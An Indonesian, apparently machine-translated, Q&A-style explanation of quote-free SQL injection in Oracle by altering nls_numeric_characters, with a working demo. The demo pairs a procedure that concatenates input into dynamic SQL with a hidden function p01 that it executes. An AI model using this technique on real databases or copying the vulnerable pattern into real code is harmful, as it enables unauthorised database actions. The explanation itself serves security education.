Ya, adalah mungkin untuk melakukan serangan injeksi SQL tanpa memberikan tanda kutip pada parameter.
Cara untuk melakukan ini adalah dengan eksploit untuk dilakukan dengan bagaimana angka dan / atau tanggal diproses. Anda dapat menentukan di tingkat sesi apa format tanggal atau angka. Dengan memanipulasi ini, Anda kemudian dapat menyuntikkan dengan karakter apa pun.
Secara default di Inggris dan AS, koma digunakan untuk menunjukkan pemisah ribuan dalam angka, dan berhenti penuh untuk titik desimal. Anda dapat mengubah default ini dengan menjalankan:
alter session set nls_numeric_characters = 'PZ';
Ini berarti bahwa "P" sekarang adalah titik desimal dan "Z" adalah pemisah ribuan. Begitu:
0P01
Apakah angka 0,01. Namun, jika Anda membuat fungsi P01, referensi objek akan diambil sebelum konversi angka. Ini memungkinkan Anda untuk menjalankan fungsi-fungsi pada basis data yang memberi Anda peningkatan kekuatan, sebagai berikut:
Buat fungsi dasar "dapatkan oleh id":
create procedure get_obj ( i in number ) as
begin
execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/
Juga buat fungsi P01 yang melakukan sesuatu yang tidak diinginkan (dalam hal ini hanya membuat tabel, tetapi Anda mendapatkan ide):
create function p01 return number as
pragma autonomous_transaction;
begin
execute immediate 'create table t (x integer)';
return 1;
end;
/
Dan kami siap untuk:
alter session set nls_numeric_characters = 'PZ';
SELECT * FROM t;
SQL Error: ORA-00942: table or view does not exist
exec get_obj(p01);
anonymous block completed
SELECT * FROM t;
no rows selected
Tidak ada kutipan di mana pun, tetapi kami masih berhasil menjalankan fungsi "tersembunyi" P01 dan membuat tabel t
!
Walaupun ini mungkin sulit dilakukan dalam praktek (dan mungkin memerlukan pengetahuan / bantuan internal), ini menunjukkan bahwa Anda dapat menyuntikkan SQL tanpa harus memiliki tanda kutip. Mengubah nls_date_format
dapat memungkinkan hal serupa dilakukan.
Temuan asli untuk angka adalah oleh David Litchfield dan Anda dapat membaca makalahnya di sini . Anda dapat menemukan diskusi Tom Kyte tentang bagaimana kencan dapat dieksploitasi di sini .